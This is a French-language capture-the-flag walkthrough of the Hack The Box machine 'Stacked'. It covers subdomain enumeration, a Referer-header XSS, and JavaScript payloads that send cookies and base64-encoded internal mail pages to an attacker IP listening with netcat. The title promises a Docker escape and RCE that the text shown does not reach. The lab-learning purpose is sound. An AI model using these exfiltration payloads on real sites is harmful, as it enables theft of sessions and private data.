Retour à l'accueil

HTB Stacked : guide XSS et évasion Docker

La machine Stacked sur Hack The Box démontre une chaîne d'attaque : de l'énumération vhost via ffuf à l'XSS dans Referer, proxy du serveur mail interne et RCE avec évasion du conteneur Docker. Analyse détaillée de nmap, gobuster, payloads et architecture LocalStack.

Évasion Docker sur HTB Stacked via XSS
Advertisement 728x90

Évasion de Conteneur Docker via XSS et RCE sur HTB Stacked

Le scan de l'hôte 10.129.228.28 avec nmap a révélé les ports ouverts : 22 (OpenSSH 8.2p1), 80 (Apache 2.4.41) et 2376 (démon Docker avec TLS). Le port 80 héberge le domaine stacked.htb après ajout d'une entrée dans /etc/hosts. La page principale contient un champ email sans trafic réseau visible lors de la soumission.

Le bruteforce de répertoires avec gobuster en utilisant common.txt n'a donné aucun résultat. Le passage à l'énumération d'hôtes virtuels avec ffuf en utilisant subdomains-top1million-5000.txt avec un filtre de mots (-fw 18) a découvert portfolio.stacked.htb.

gobuster dir -u http://stacked.htb -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://stacked.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.stacked.htb" -fw 18

Analyse de portfolio.stacked.htb et LocalStack

Le site portfolio.stacked.htb décrit Stacked, une entreprise utilisant LocalStack—un émulateur local de services AWS dans des conteneurs Docker. Un fichier docker-compose.yml est disponible avec les ports exposés :

Google AdInline article slot
  • 443 (HTTPS)
  • 4566 (API LocalStack)
  • 4571 (probablement Elasticsearch)
  • 8080 (Interface Web)
wget http://portfolio.stacked.htb/files/docker-compose.yml
docker compose up

Le bas de la page affiche l'année de création—une piste potentielle pour une exploitation ultérieure.

Découverte et Exploitation de XSS

Le formulaire de soumission de données personnelles sur portfolio.stacked.htb reflète les balises HTML avec le message "xss détecté !". L'injection directe dans le corps de la requête vers /process.php échoue même avec un double encodage URL.

Les tests des en-têtes (User-Agent, Origin, Referer) ont révélé une vulnérabilité dans Referer. La charge utile <script src="http://10.10.16.10/test.js"></script> s'exécute avec succès :

Google AdInline article slot
let req1 = new XMLHttpRequest();
req1.open('GET', 'http://10.10.16.10/cookie=' + document.cookie, false);
req1.send();

Les cookies sont protégés avec HttpOnly. Le passage à document.location a révélé l'origine : http://mail.stacked.htb/read-mail.php?id=2.

Attaque CSRF via XSS pour Accéder à mail.stacked.htb

Le nouveau sous-domaine mail.stacked.htb redirige les requêtes externes. Via le XSS de la victime, nous implémentons un proxy :

  • Injecter <script src="http://10.10.16.10/exploit.js"></script>.
  • Le script demande une page interne, l'encode en base64 et l'envoie à l'attaquant:9001.
let req1 = new XMLHttpRequest();
req1.onreadystatechange = function(){
    if (this.readyState == 4){
        data = btoa(req1.response);
        let req2 = new XMLHttpRequest();
        req2.open('GET', 'http://10.10.16.10:9001/page=' + data, false);
        req2.send();
    }
}
req1.open('GET', 'http://mail.stacked.htb/read-mail.php?id=1', false);
req1.send();
nc -nlvp 9001
echo -n "PD9..." | base64 -d > index.html

La boîte de réception contient un email de Jeremy Taint concernant le lancement d'une instance S3 (id=1). Les CSS/images ne se chargent pas en raison des restrictions réseau.

Google AdInline article slot

Points Clés

  • Le XSS dans l'en-tête Referer conduit à l'exécution de JS dans le contexte de la victime.
  • Le proxy base64 via XMLHttpRequest contourne les restrictions réseau Docker.
  • Le docker-compose LocalStack révèle les ports internes et l'architecture.
  • L'énumération d'hôtes virtuels est cruciale lorsque le dirbusting échoue.
  • Le filtre de mots ffuf (-fw) résout les problèmes de contenu d'erreur dynamique.

— Editorial Team

Advertisement 728x90

Lire ensuite